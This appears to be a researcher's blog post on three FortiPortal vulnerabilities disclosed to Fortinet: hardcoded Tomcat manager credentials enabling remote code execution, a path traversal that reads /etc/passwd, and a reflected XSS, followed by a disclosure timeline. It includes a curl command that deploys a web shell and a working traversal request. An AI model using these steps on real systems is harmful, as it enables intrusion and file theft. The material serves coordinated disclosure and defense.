Ben provides details on the recent vulnerability disclosures to Fortinet in the FortiPortal management portal
We recently disclosed three vulnerabilities to Fortinet’s PSIRT in the FortiPortal management portal product.
FortiPortal is a multi-tenant management portal application that integrates with FortiManager, FortiGate and FortiAP. FortiPortal is designed to be either externally-facing, or at least accessible to a whitelisted list of customer IP address ranges. Through some basic scans during testing, we observed about 50 Internet-facing FortiPortal instances.
Although there doesn’t appear to be any easy method for downloading a trial instance of FortiPortal, a trial instance of FortiManager can be downloaded from Fortinet’s support site by any self-registered user. FortiPortal can be enabled as an add-on feature to an existing FortiManager instance. During our testing, enabling FortiPortal through the FortiManager web application failed. However, the Docker image for FortiPortal can be manually pulled from Fortinet’s Docker repository. This allowed us to look for security vulnerabilities in the FortiPortal product by reviewing files on the local filesystem, such as configuration files and decompiled Java code.
Unauthenticated Remote Code Execution CVE-2021-32588
CVSSv3 Score: 9.3
Fortinet PSIRT: FortiPortal – Authentication bypass and remote code execution as root
The highest severity vulnerability we disclosed to Fortinet could allow a remote unauthenticated user to gain code execution on the FortiPortal host.
The root cause for the vulnerability was due to hardcoded Tomcat manager credentials that were discovered in the web application source code that could allow an attacker to deploy arbitrary code to the server.
FortiPortal can run in a Docker container, running on top of the FortiManager host. The FortiPortal web application is a Java application running on a Tomcat web server. Tomcat is configured to publicly expose the management endpoint /manager/text
which is accessible to any user with the fpcadmin
user credentials.
The fpcadmin
user is configured in the tomcat-users.xml
file in the Docker image. The password is stored in a hashed format. The hash used is SHA-256 with 1000 iterations. The fpcadmin
manager user is assigned the manager-script
role, which gives the user permissions to access the /manager/text
endpoint.
The following configuration snippet shows the fpcadmin
is configured in the /usr/local/tomcat/conf/tomcat-users.xml
file.
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-script" />
<user username="fpcadmin"
password="<hash_redacted>"
roles="manager-script" />
</tomcat-users
As the password is hashed, an attacker would need to recover the plaintext password by cracking the hash. However, the fpcadmin user is used by the application itself to reload the Tomcat configuration. The application uses curl to authenticate to the management endpoint, and instruct the Tomcat server to reload. This process requires that the plaintext password be available to the code calling curl. The password for the fpcadmin user is stored in a Java class as a base64 encoded AES encrypted value. However, the hash is decrypted by the application using a hardcoded key.
The following code snippet from the /usr/local/tomcat/webapps/fpc/WEB-INF/classes/com/ftnt/fpcs/util/FpcReloadTomcatApp.class
class shows where the application uses the hardcoded user credentials.
public class FpcReloadTomcatApp {
private static Logger log = LogManager.getLogger(FpcReloadTomcatApp.class.getName());
private static final String TOMCAT_PWD_ENC = “<redacted>”;
public boolean reloadTomcatApp() {
StringBuffer curlForReload = new StringBuffer();
curlForReload
.append(“curl -k -u fpcadmin:”)
.append(CipherUtils.decryptString(“<redacted>”))
.append(” https://localhost/manager/text/reload?path=/fpc”);
log.info(“execute curl for tomacat reload start ” + Thread.currentThread().getName());
try {
String output = executeRequest(curlForReload.toString());
log.info(“Tomcat reload context ‘fpc’ result: ” + output);
return (output != null && output.contains(“OK”) && output.contains(“fpc”));
} catch (Exception ex) {
String failedMessage = “reload context ‘fpc’ failed. details in log. restart Tomcat server to make SAML update in effect.”;
log.error(failedMessage, ex);
return false;
}
}
The CipherUtils
class contains a hardcoded key (a byte array named key
), that is used to decrypt the password passed in the reloadTomcatApp()
method.
The following code snippet from the /usr/local/tomcat/webapps/fpc/WEB-INF/classes/com/ftnt/fpcs/util/CipherUtils.class
class shows where the hardcoded AES key value is set, and the decryption method.
public class CipherUtils {
private static Logger log = LogManager.getLogger(CipherUtils.class.getName());
public static final byte[] key = new byte[] {
<redacted> };
private static final String algorithm = “AES”;
private static final String cryptospec = “AES/CBC/PKCS5PADDING”;
private static AlgorithmParameterSpec pSpec = null;
…
public static String decryptString(String stringToDecrypt) {
try {
Cipher cipher = Cipher.getInstance(“AES/CBC/PKCS5PADDING”);
SecretKeySpec secretKey = new SecretKeySpec(key, “AES”);
byte[] iv = new byte[cipher.getBlockSize()];
pSpec = new IvParameterSpec(iv);
cipher.init(2, secretKey, pSpec);
String decryptedString = new String(cipher.doFinal(Base64.decodeBase64(stringToDecrypt)));
log.debug(“decrypt string”);
return decryptedString;
Decrypting the password returns the plaintext password, that can be used to authenticate to the FortiPortal instance as the fpcadmin
admin user.
Exploiting the vulnerability is as simple as compiling a Java web shell as a WAR file, and deploying it to the vulnerable FortiPortal server using the following curl
command.
curl --upload-file shell.war -u "fpcadmin:<password_redacted>" https://<fortiportal_url>/manager/text/deploy?path=/shell
Authenticated Arbitrary File Read CVE-2021-36168
CVSSv3 Score: 6.2
Fortinet PSIRT: FortiPortal – Path traversal in controller
Another vulnerability we disclosed to Fortinet was an arbitrary file read issue that could allow an authenticated user to path traverse and read files on the local filesystem of the FortiPortal host.
The vulnerable endpoint retrieves report PDFs stored on the local filesystem on the underlying host. The user supplies the filename of the report in the fileName
URL parameter, which is used to specify the file path to be retrieved. The application retrieves the file at the specified path and returns the file content to the user.
An user could supply a path traversal string (such as ../
) in the fileName
parameter, to retrieve files outside the intended directory. This issue allows an authenticated user to read the contents of any file that the web server has permission to read.
The following code from /com/ftnt/pmc/controller/customer/ReportsController.java
shows where the fileName
parameter is used to retrieve a file on the local filesystem.
@RequestMapping(value = {“/reportDownload”}, method = {RequestMethod.GET})
public void doDownload(Model model, HttpServletRequest request, HttpServletResponse response, @RequestParam(“fileName”) String fileName) throws IOException {
response.setContentType(“application/pdf”);
response.setHeader(“Content-Disposition”, “attachment; filename=” + fileName.replace(‘/’, ‘_’));
ServletOutputStream servletOutputStream = response.getOutputStream();
FileInputStream inputStream = new FileInputStream(CommonUtils.getPropValue(“reportsdownloadpath”) + “/” + fileName);
byte[] buffer = new byte[4096];
int bytesRead = -1;
/
while ((bytesRead = inputStream.read(buffer)) != -1) {
servletOutputStream.write(buffer, 0, bytesRead);
}
inputStream.close();
servletOutputStream.close();
}
The directory path in the reportsdownloadpath
environment variable is retrieved from the application.properties
file. The default value is provided below.
maxTxRxValue=9999
reportsdownloadpath=/var/tomcat/util/reports
jbosshostname=https://127.0.0.1:8443/fpc/sec
mailhostname=smtp.fortinet.com
To path traverse out of the default path, the correct number of directories must be specified. For example, to read a file in /etc
four ../
traversal strings would need to be passed in the fileName
URL parameter. Additionally, the reportsdownloadpath
directory needs to exist on the filesystem. A default FortiPortal Docker image that was not configured to communicate with a FortiManager or FortiAnalyzer did not have this directory on the filesystem. However, it is likely that a fully configured and operational FortiPortal instance would have the required directory.
To exploit the vulnerability, login to the FortiPortal application as any authenticated user, and browse to the following URL.
https://<fortiportal_url>/fpc/customer/reports/reportDownload?fileName=<file_path>
An example URL that retrieves the /etc/passwd
file is provided below.
GET /fpc/customer/reports/reportDownload?fileName=../../../../../etc/passwd
HTTP/1.1 200
…
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:999:999::/home/mysql:/bin/sh
Cross-Site Scripting (XSS) CVE-2021-36168
CVSSv3 Score: 5.7
Fortinet PSIRT: FortiPortal – XSS vulnerability
The final vulnerability we disclosed to Fortinet was a reflected Cross-Site Scripting (XSS) vulnerability in the common error page for the FortiPortal web application. The XSS vulnerability is considered reflected as an attacker’s malicious script would execute when a user clicks on the malicious link.
The XSS issue occurs when the FortiPortal application returns a HTTP 500 error page. The error web page displays a message string in errorMessage
. In some circumstances, the content of error message is user controllable and written in the response without any sanitisation of dangerous characters.
The following code snippet from /usr/local/tomcat/webapps/fpc/WEB-INF/jsp/error.jsp
shows where the errorMessage
variable is written to the page.
<%@ taglib prefix="spring" uri="http://www.springframework.org/tags"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%@ page session="false" %>
<!DOCTYPE html>
<html>
<head>
<jsp:include page=”../../WEB-INF/jsp/templates/include/common/head.jsp”></jsp:include>
</head>
<header id=”react-header” class=”fpc-header header-auto-w”>
<jsp:include page=”../../WEB-INF/jsp/templates/include/common/header.jsp”></jsp:include>
</header>
<div id=”main”>
<div id=”body_wrapper” class=”public_page_site_container”>
<div class=”container pt-4 pb-4 text-center”>
It was observed that an invalid language locale value supplied in the org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALE cookie results in the following error message.
GET /fpc/v1/user/self/locale HTTP/1.1
Host: <fortiportal_url>
Cookie: org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALE=<
HTTP/1.1 500
…
<div id=”main”>
<div id=”body_wrapper” class=”public_page_site_container”>
<div class=”container pt-4 pb-4 text-center”>
<p>Error: 500</p>
<p>Message: Invalid locale cookie ‘org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALE’ with value [<]: Locale part “<” contains invalid characters</p>
In order for this issue to be exploitable for XSS, the user-supplied content needs to come from attacker-controllable input, such as a URL parameter.
In Apache Tomcat the org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALE
cookie is mapped to a URL parameter named lang
. By supplying an XSS payload in the lang
parameter, an attacker could conduct reflected XSS attacks against application users.
The Tomcat configuration file /usr/local/tomcat/webapps/fpc/WEB-INF/classes/spring/applicationContext.xml
shows where the lang
URL parameter is configured.
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
...
<bean id="localeResolver"
class="org.springframework.web.servlet.i18n.CookieLocaleResolver">
<property name="defaultLocale" value="en" />
<property name="cookieHttpOnly" value="true" />
<property name="cookieSecure" value="true" />
</bean>
<bean
class=”org.springframework.web.servlet.view.InternalResourceViewResolver”>
<property name=”viewClass” value=”com.ftnt.pmc.view.HeaderFooterView” />
<property name=”prefix” value=”/WEB-INF/jsp/” />
<property name=”suffix” value=”.jsp” />
</bean>
<mvc:interceptors>
<bean class=”com.ftnt.pmc.interceptor.FilterNonUserCallInterceptor” />
<bean class=”com.ftnt.pmc.interceptor.RequestInterceptor” />
<bean class=”org.springframework.web.servlet.i18n.LocaleChangeInterceptor”>
<property name=”paramName” value=”lang” />
</bean>
</mvc:interceptors>
Disclosure Timeline
Note: Dates are listed in NZST (GMT+12).
- 27 May – Unauthenticated Remote Code Execution disclosed to Fortinet PSIRT.
- 28 May – We received receipt and reproduction confirmation of the Unauthenticated Remote Code Execution vulnerability from the Fortinet PSIRT.
- 8 June – Authenticated Arbitrary File Read disclosed to Fortinet PSIRT.
- 8 June – Cross-Site Scripting (XSS) disclosed to Fortinet PSIRT.
- 10 June – We received receipt and reproduction confirmation of the Authenticated Arbitrary File Read vulnerability from the Fortinet PSIRT.
- 14 June – We received receipt and reproduction confirmation of the Cross-Site Scripting (XSS) vulnerability from the Fortinet PSIRT.
- 4 August – Fortinet PSIRT issued public disclosures for all three vulnerabilities.